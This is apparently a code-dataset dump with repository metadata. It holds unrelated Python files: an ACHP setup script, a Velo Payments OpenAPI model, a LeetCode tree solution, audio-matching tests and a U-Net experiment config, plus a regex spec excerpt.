from distutils.core import setup, Extension import subprocess,shutil,os,sys # Obtain the numpy include directory. This logic works across numpy versions. ## import numpy ## try: ## numpy_include = numpy.get_include() ## except AttributeError: ## numpy_include = numpy.get_numpy_include() sys.argv += ['install','--reswig'] if '--reswig' in sys.argv: import subprocess subprocess.check_output(['swig','-python','-c++','-I../externals/coolprop','-I../externals/thermalcorr','ACHP.i'],cwd = 'src') sys.argv.remove('--reswig') numpy_include=[''] commons = dict(include_dirs = ['externals'], libraries = ['CoolPropLib_MD','ThermalCorr_MD'], library_dirs = ['externals/coolprop/wrappers/StaticLibrary/VS2008','externals/thermalcorr/wrappers/StaticLibrary/VS2008'], ) ACHP_module = Extension('ACHP._ACHP', sources=['src/ACHP_wrap.cxx', 'src/Compressor.cpp', 'src/BPHE.cpp'], **commons ) setup (name = 'ACHP', version = '0.0.1dev', package_dir = {'ACHP':'src'}, packages = ['ACHP'], author = "Ian Bell", author_email='ian.h.bell@gmail.com', url='http://achp.sourceforge.net', description = """ Steady-state system model using moving boundary models """, ext_modules = [ACHP_module], )
[ "ian.h.bell@gmail.com" ]
ian.h.bell@gmail.com
8673d9930d44b2e04ad6dca9febbf65a6624182c
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/weeper.py
3ebfbe42277e12719b6bb43d1fe849720dccf65b
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
63
py
ii = [('LandWPA.py', 1), ('GilmCRS.py', 1), ('DibdTRL2.py', 1)]
[ "prabhjyotsingh95@gmail.com" ]
prabhjyotsingh95@gmail.com
9eeabe352c3ca3dc272e33a2d700f7ead481af64
0273ff0e05526b52eb96b4960251d685b467ba0f
/velo_payments/models/funding_request_v3.py
b393ae81923a9ca02cc6010a24fbaf6369a4740a
[ "Apache-2.0" ]
permissive
velopaymentsapi/velo-python
9ea83209db0161e83960993f47868285c92ef948
59b39555e9714139b4bf697151cc7d15f6dd510e
refs/heads/master
2022-08-19T00:57:28.455431
2021-05-25T02:14:44
2021-05-25T02:14:44
202,158,716
0
0
Apache-2.0
2019-11-04T22:34:30
2019-08-13T14:11:36
Python
UTF-8
Python
false
false
9,145
py
# coding: utf-8 """ Velo Payments APIs ## Terms and Definitions Throughout this document and the Velo platform the following terms are used: * **Payor.** An entity (typically a corporation) which wishes to pay funds to one or more payees via a payout. * **Payee.** The recipient of funds paid out by a payor. * **Payment.** A single transfer of funds from a payor to a payee. * **Payout.** A batch of Payments, typically used by a payor to logically group payments (e.g. by business day). Technically there need be no relationship between the payments in a payout - a single payout can contain payments to multiple payees and/or multiple payments to a single payee. * **Sandbox.** An integration environment provided by Velo Payments which offers a similar API experience to the production environment, but all funding and payment events are simulated, along with many other services such as OFAC sanctions list checking. ## Overview The Velo Payments API allows a payor to perform a number of operations. The following is a list of the main capabilities in a natural order of execution: * Authenticate with the Velo platform * Maintain a collection of payees * Query the payor’s current balance of funds within the platform and perform additional funding * Issue payments to payees * Query the platform for a history of those payments This document describes the main concepts and APIs required to get up and running with the Velo Payments platform. It is not an exhaustive API reference. For that, please see the separate Velo Payments API Reference. ## API Considerations The Velo Payments API is REST based and uses the JSON format for requests and responses. Most calls are secured using OAuth 2 security and require a valid authentication access token for successful operation. See the Authentication section for details. Where a dynamic value is required in the examples below, the {token} format is used, suggesting that the caller needs to supply the appropriate value of the token in question (without including the { or } characters). Where curl examples are given, the –d @filename.json approach is used, indicating that the request body should be placed into a file named filename.json in the current directory. Each of the curl examples in this document should be considered a single line on the command-line, regardless of how they appear in print. ## Authenticating with the Velo Platform Once Velo backoffice staff have added your organization as a payor within the Velo platform sandbox, they will create you a payor Id, an API key and an API secret and share these with you in a secure manner. You will need to use these values to authenticate with the Velo platform in order to gain access to the APIs. The steps to take are explained in the following: create a string comprising the API key (e.g. 44a9537d-d55d-4b47-8082-14061c2bcdd8) and API secret (e.g. c396b26b-137a-44fd-87f5-34631f8fd529) with a colon between them. E.g. 44a9537d-d55d-4b47-8082-14061c2bcdd8:c396b26b-137a-44fd-87f5-34631f8fd529 base64 encode this string. E.g.: NDRhOTUzN2QtZDU1ZC00YjQ3LTgwODItMTQwNjFjMmJjZGQ4OmMzOTZiMjZiLTEzN2EtNDRmZC04N2Y1LTM0NjMxZjhmZDUyOQ== create an HTTP **Authorization** header with the value set to e.g. Basic NDRhOTUzN2QtZDU1ZC00YjQ3LTgwODItMTQwNjFjMmJjZGQ4OmMzOTZiMjZiLTEzN2EtNDRmZC04N2Y1LTM0NjMxZjhmZDUyOQ== perform the Velo authentication REST call using the HTTP header created above e.g. via curl: ``` curl -X POST \\ -H \"Content-Type: application/json\" \\ -H \"Authorization: Basic NDRhOTUzN2QtZDU1ZC00YjQ3LTgwODItMTQwNjFjMmJjZGQ4OmMzOTZiMjZiLTEzN2EtNDRmZC04N2Y1LTM0NjMxZjhmZDUyOQ==\" \\ 'https://api.sandbox.velopayments.com/v1/authenticate?grant_type=client_credentials' ``` If successful, this call will result in a **200** HTTP status code and a response body such as: ``` { \"access_token\":\"19f6bafd-93fd-4747-b229-00507bbc991f\", \"token_type\":\"bearer\", \"expires_in\":1799, \"scope\":\"...\" } ``` ## API access following authentication Following successful authentication, the value of the access_token field in the response (indicated in green above) should then be presented with all subsequent API calls to allow the Velo platform to validate that the caller is authenticated. This is achieved by setting the HTTP Authorization header with the value set to e.g. Bearer 19f6bafd-93fd-4747-b229-00507bbc991f such as the curl example below: ``` -H \"Authorization: Bearer 19f6bafd-93fd-4747-b229-00507bbc991f \" ``` If you make other Velo API calls which require authorization but the Authorization header is missing or invalid then you will get a **401** HTTP status response. # noqa: E501 The version of the OpenAPI document: 2.26.124 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six class FundingRequestV3(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'funding_account_id': 'str', 'amount': 'int' } attribute_map = { 'funding_account_id': 'fundingAccountId', 'amount': 'amount' } def __init__(self, funding_account_id=None, amount=None): # noqa: E501 """FundingRequestV3 - a model defined in OpenAPI""" # noqa: E501 self._funding_account_id = None self._amount = None self.discriminator = None self.funding_account_id = funding_account_id self.amount = amount @property def funding_account_id(self): """Gets the funding_account_id of this FundingRequestV3. # noqa: E501 The funding account id # noqa: E501 :return: The funding_account_id of this FundingRequestV3. # noqa: E501 :rtype: str """ return self._funding_account_id @funding_account_id.setter def funding_account_id(self, funding_account_id): """Sets the funding_account_id of this FundingRequestV3. The funding account id # noqa: E501 :param funding_account_id: The funding_account_id of this FundingRequestV3. # noqa: E501 :type: str """ if funding_account_id is None: raise ValueError("Invalid value for `funding_account_id`, must not be `None`") # noqa: E501 self._funding_account_id = funding_account_id @property def amount(self): """Gets the amount of this FundingRequestV3. # noqa: E501 Amount to fund in minor units # noqa: E501 :return: The amount of this FundingRequestV3. # noqa: E501 :rtype: int """ return self._amount @amount.setter def amount(self, amount): """Sets the amount of this FundingRequestV3. Amount to fund in minor units # noqa: E501 :param amount: The amount of this FundingRequestV3. # noqa: E501 :type: int """ if amount is None: raise ValueError("Invalid value for `amount`, must not be `None`") # noqa: E501 if amount is not None and amount > 9999999999: # noqa: E501 raise ValueError("Invalid value for `amount`, must be a value less than or equal to `9999999999`") # noqa: E501 if amount is not None and amount < 1: # noqa: E501 raise ValueError("Invalid value for `amount`, must be a value greater than or equal to `1`") # noqa: E501 self._amount = amount def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, FundingRequestV3): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
[ "britton@lklabs.com" ]
britton@lklabs.com
c551581095afb959f7abbe87a7c1b36203fdb1df
18f1ee7c364301743233f50c975479a216dd2b4c
/headfirst/hf6promotion.py
eed7f1b03d2b3d958d7b1c1c0450fec479d53ecb
[]
no_license
sevenry/python_learning_note
e5aaf098e3308430468452e7ac839c1906e27776
9209249e42a060f722bd6dc79f84e7c4b53eec2b
refs/heads/master
2021-01-20T18:01:14.329907
2016-12-03T09:16:00
2016-12-03T09:16:00
62,458,628
2
0
null
null
null
null
UTF-8
Python
false
false
44
py
def discount(price): return price*0.9
[ "noreply@github.com" ]
sevenry.noreply@github.com
f0f4fb7a984294ff86a025ef21742ce630c55ed9
28a462a28f443c285ca5efec181ebe36b147c167
/tests/compile/basic/es2020/Assertion[3,0].Evaluation.spec
ad2d76f4da932e0db88fb74aa47a081acc9841be
[ "BSD-3-Clause", "BSD-2-Clause" ]
permissive
kaist-plrg/jstar
63e71f9156860dc21cccc33a9f6c638dfee448ea
1282919127ea18a7e40c7a55e63a1ddaaf7d9db4
refs/heads/main
2022-07-22T08:12:34.947712
2022-02-27T04:19:33
2022-02-27T11:06:14
384,045,526
6
4
NOASSERTION
2022-02-27T11:05:26
2021-07-08T07:53:21
Python
UTF-8
Python
false
false
587
spec
1. Return a new Matcher with parameters (_x_, _c_) that captures nothing and performs the following steps when called: 1. Assert: _x_ is a State. 1. Assert: _c_ is a Continuation. 1. Let _e_ be _x_'s _endIndex_. 1. Call IsWordChar(_e_ - 1) and let _a_ be the Boolean result. 1. Call IsWordChar(_e_) and let _b_ be the Boolean result. 1. If _a_ is *true* and _b_ is *true*, or if _a_ is *false* and _b_ is *false*, then 1. Call _c_(_x_) and return its result. 1. Return ~failure~.
[ "h2oche22@gmail.com" ]
h2oche22@gmail.com
78359dbbfdcc0879f9aa11bc2d8d6be24d39d081
1f74112d7e90c278c66c085db9ef44abcea0cf39
/tests.py
98be0ee734d9238cd077be193edb45cc654c4c3e
[]
no_license
mmahnken/pronounce_gaelic
22c0a6b4cf97204ef0cfbfd0c22bca9968d59613
23ef9c4ab1e44e8e06fcb5582260a7d9b0f5203d
refs/heads/master
2016-09-10T12:57:28.199943
2015-05-25T17:18:43
2015-05-25T17:18:43
29,276,608
3
0
null
null
null
null
UTF-8
Python
false
false
2,355
py
import random import unittest import compare as c import os TRAINING_DIR = 'gaelic_audio' USER_AUDIO = 'window_meggie.wav' USER_REF_AUDIO = 'gaelic_audio/window.mp3' class TestMatchingAlgorithm(unittest.TestCase): def setUp(self): print "setting up audio match test" self.comparator = c.train(TRAINING_DIR) self.training_dir = TRAINING_DIR training_files = [os.path.join(TRAINING_DIR, f) for f in os.listdir(TRAINING_DIR)] self.random_ref_file = random.choice(training_files) self.user_audio = USER_AUDIO self.user_ref_audio = USER_REF_AUDIO def test_self_equality(self): """Given reference audio x, test whether querying x returns x in the top 3 matching results.""" results = c.compare(self.random_ref_file, self.random_ref_file, self.comparator) self.assertTrue(self.random_ref_file in results[0:3]) def test_strict_self_equality(self): """Given reference audio x, test whether querying x returns x as the highest matching result.""" results = c.compare(self.random_ref_file, self.random_ref_file, self.comparator) self.assertTrue(self.random_ref_file == results[0]) def test_audio_search(self): """Given user generated audio x, test whether the the corresponding reference file y for the same word is in the top 3 matching results.""" results = c.compare(self.user_ref_audio, self.user_audio, self.comparator) self.assertTrue(self.random_ref_file == results[0:3]) class TestPointsOfOnset(unittest.TestCase): def setUp(self): training_files = [os.path.join(TRAINING_DIR, f) for f in os.listdir(TRAINING_DIR)] self.ref_file_1 = random.choice(training_files) while self.ref_file_1 == ref_file_2: ref_file_2 = random.choice(training_files) self.ref_file_2 = ref_file_2 def test_different_points_of_onset(self): pass # get 2 random audio files # find points of onset for each # make sure the two are not equal def test_similar_points_of_onset(self): pass # get a reference and homemade audio file for same signal # find points of onset for each # make sure the two are relatively similar if __name__ == "__main__": unittest.main()
[ "mmm25eg@gmail.com" ]
mmm25eg@gmail.com
b7a63d862fb96580c9845b39a7cf5f65eefcfe72
4351a81d4a4fae778711643cb9644534e595920d
/Python 3/LeetCode/lc107.py
9a8872ffa11f932a887dc4e49d3d1c1784327c59
[]
no_license
nsmith0310/Programming-Challenges
ba1281127d6fa295310347a9110a0f8998cd89ce
7aabed082826f8df555bf6e97046ee077becf759
refs/heads/main
2023-08-13T14:47:10.490254
2021-10-13T04:35:57
2021-10-13T04:35:57
416,565,430
0
0
null
null
null
null
UTF-8
Python
false
false
1,479
py
# Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: def levelOrderBottom(self, root: TreeNode) -> List[List[int]]: if root==None:return root tmp = [[root,1,0,-1]] count = 0 o = [root.val] for x in tmp: count+=1 if x[0].right!=None: tmp.append([x[0].right,x[1]+1,1,count]) o.append(x[0].right.val) if x[0].left!=None: tmp.append([x[0].left,x[1]+1,0,count]) o.append(x[0].left.val) tmp.sort(key = lambda x: x[1]) l = [[] for j in range(0,tmp[-1][1])] i = 0 while i<len(tmp): l[tmp[i][1]-1].append([tmp[i][0].val,tmp[i][2],tmp[i][3]]) i+=1 l = l[::-1] ###print(l) f = [[] for x in l] i = 0 while i<len(l): tmp = l[i] left = [] for x in tmp: left.append([x[0],x[2]]) left.sort(key=lambda x: x[1]) left = left[::-1] for y in left: f[i].append(y[0]) i+=1 return f
[ "92414264+nsmith0310@users.noreply.github.com" ]
92414264+nsmith0310@users.noreply.github.com
ab595904f5875ef4b506194b99abfcff14f287ab
0e1e643e864bcb96cf06f14f4cb559b034e114d0
/Exps_7_v3/doc3d/I_w_M_to_W_focus_Zok_div/ch036/wiColorJ/Sob_k15_s001_EroM/pyr_Tcrop255_p60_j15/pyr_3s/L7/step10_a.py
2f3db0751ea40d3576fce626383d5d897cbfab2b
[]
no_license
KongBOy/kong_model2
33a94a9d2be5b0f28f9d479b3744e1d0e0ebd307
1af20b168ffccf0d5293a393a40a9fa9519410b2
refs/heads/master
2022-10-14T03:09:22.543998
2022-10-06T11:33:42
2022-10-06T11:33:42
242,080,692
3
0
null
null
null
null
UTF-8
Python
false
false
64,692
py
############################################################################################################################################################################################################# ############################################################################################################################################################################################################# ### 把 kong_model2 加入 sys.path import os code_exe_path = os.path.realpath(__file__) ### 目前執行 step10_b.py 的 path code_exe_path_element = code_exe_path.split("\\") ### 把 path 切分 等等 要找出 kong_model 在第幾層 code_dir = "\\".join(code_exe_path_element[:-1]) kong_layer = code_exe_path_element.index("kong_model2") ### 找出 kong_model2 在第幾層 kong_model2_dir = "\\".join(code_exe_path_element[:kong_layer + 1]) ### 定位出 kong_model2 的 dir import sys ### 把 kong_model2 加入 sys.path sys.path.append(kong_model2_dir) sys.path.append(code_dir) # print(__file__.split("\\")[-1]) # print(" code_exe_path:", code_exe_path) # print(" code_exe_path_element:", code_exe_path_element) # print(" code_dir:", code_dir) # print(" kong_layer:", kong_layer) # print(" kong_model2_dir:", kong_model2_dir) ############################################################################################################################################################################################################# kong_to_py_layer = len(code_exe_path_element) - 1 - kong_layer ### 中間 -1 是為了長度轉index # print(" kong_to_py_layer:", kong_to_py_layer) if (kong_to_py_layer == 0): template_dir = "" elif(kong_to_py_layer == 2): template_dir = code_exe_path_element[kong_layer + 1][0:] ### [7:] 是為了去掉 step1x_, 後來覺得好像改有意義的名字不去掉也行所以 改 0 elif(kong_to_py_layer == 3): template_dir = code_exe_path_element[kong_layer + 1][0:] + "/" + code_exe_path_element[kong_layer + 2][0:] ### [5:] 是為了去掉 mask_ ,前面的 mask_ 是為了python 的 module 不能 數字開頭, 隨便加的這樣子, 後來覺得 自動排的順序也可以接受, 所以 改0 elif(kong_to_py_layer > 3): template_dir = code_exe_path_element[kong_layer + 1][0:] + "/" + code_exe_path_element[kong_layer + 2][0:] + "/" + "/".join(code_exe_path_element[kong_layer + 3: -1]) # print(" template_dir:", template_dir) ### 舉例: template_dir: 7_mask_unet/5_os_book_and_paper_have_dtd_hdr_mix_bg_tv_s04_mae ############################################################################################################################################################################################################# exp_dir = template_dir ############################################################################################################################################################################################################# from step06_a_datas_obj import * from step09_3side_L7 import * from step10_a2_loss_info_obj import * from step10_b2_exp_builder import Exp_builder rm_paths = [path for path in sys.path if code_dir in path] for rm_path in rm_paths: sys.path.remove(rm_path) rm_moduless = [module for module in sys.modules if "step09" in module] for rm_module in rm_moduless: del sys.modules[rm_module] ############################################################################################################################################################################################################# ''' exp_dir 是 決定 result_dir 的 "上一層"資料夾 名字喔! exp_dir要巢狀也沒問題~ 比如:exp_dir = "6_mask_unet/自己命的名字",那 result_dir 就都在: 6_mask_unet/自己命的名字/result_a 6_mask_unet/自己命的名字/result_b 6_mask_unet/自己命的名字/... ''' use_db_obj = type8_blender_kong_doc3d_in_I_gt_W_ch_norm_v2 use_loss_obj = [G_sobel_k15_erose_M_loss_info_builder.set_loss_target("UNet_Wz").copy(), G_sobel_k15_erose_M_loss_info_builder.set_loss_target("UNet_Wy").copy(), G_sobel_k15_erose_M_loss_info_builder.set_loss_target("UNet_Wx").copy()] ### z, y, x 順序是看 step07_b_0b_Multi_UNet 來對應的喔 ############################################################# ### 為了resul_analyze畫空白的圖,建一個empty的 Exp_builder empty = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_1__2side_1__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_1__2side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="為了resul_analyze畫空白的圖,建一個empty的 Exp_builder") ############################################################# ch032_1side_1__2side_1__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_1__2side_1__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_1__2side_1__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_2__2side_1__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_2__2side_1__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_2__2side_1__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_2__2side_2__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_2__2side_2__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_2__2side_2__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_2__2side_2__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_2__2side_2__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_2__2side_2__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_3__2side_1__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_3__2side_1__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_3__2side_1__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_3__2side_2__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_3__2side_2__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_3__2side_2__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_3__2side_2__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_3__2side_2__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_3__2side_2__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_3__2side_3__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_3__2side_3__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_3__2side_3__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_3__2side_3__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_3__2side_3__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_3__2side_3__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_3__2side_3__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_3__2side_3__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_3__2side_3__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_1__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_1__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_1__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_2__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_2__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_2__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_2__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_2__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_2__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_3__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_3__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_3__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_3__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_3__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_3__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_3__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_3__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_3__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_4__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_4__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_4__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_4__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_4__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_4__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_4__3side_3 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_4__3side_3, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_4__3side_3.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_4__2side_4__3side_4 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_4__2side_4__3side_4, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_4__2side_4__3side_4.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_1__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_1__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_1__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_2__3side_1 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_2__3side_1, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_2__3side_1.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, it_save_fq=900 * 2, it_down_step="half", it_down_fq=900).set_train_in_gt_use_range(use_in_range=Range(0, 1), use_gt_range=Range(0, 1)).set_result_name(result_name="") ch032_1side_5__2side_2__3side_2 = Exp_builder().set_basic("train", use_db_obj, ch032_pyramid_1side_5__2side_2__3side_2, use_loss_obj, exp_dir=exp_dir, code_exe_path=code_exe_path, describe_end=ch032_pyramid_1side_5__2side_2__3side_2.kong_model.model_describe) .set_train_args(epochs= 1) .set_train_iter_args(it_see_fq=900, 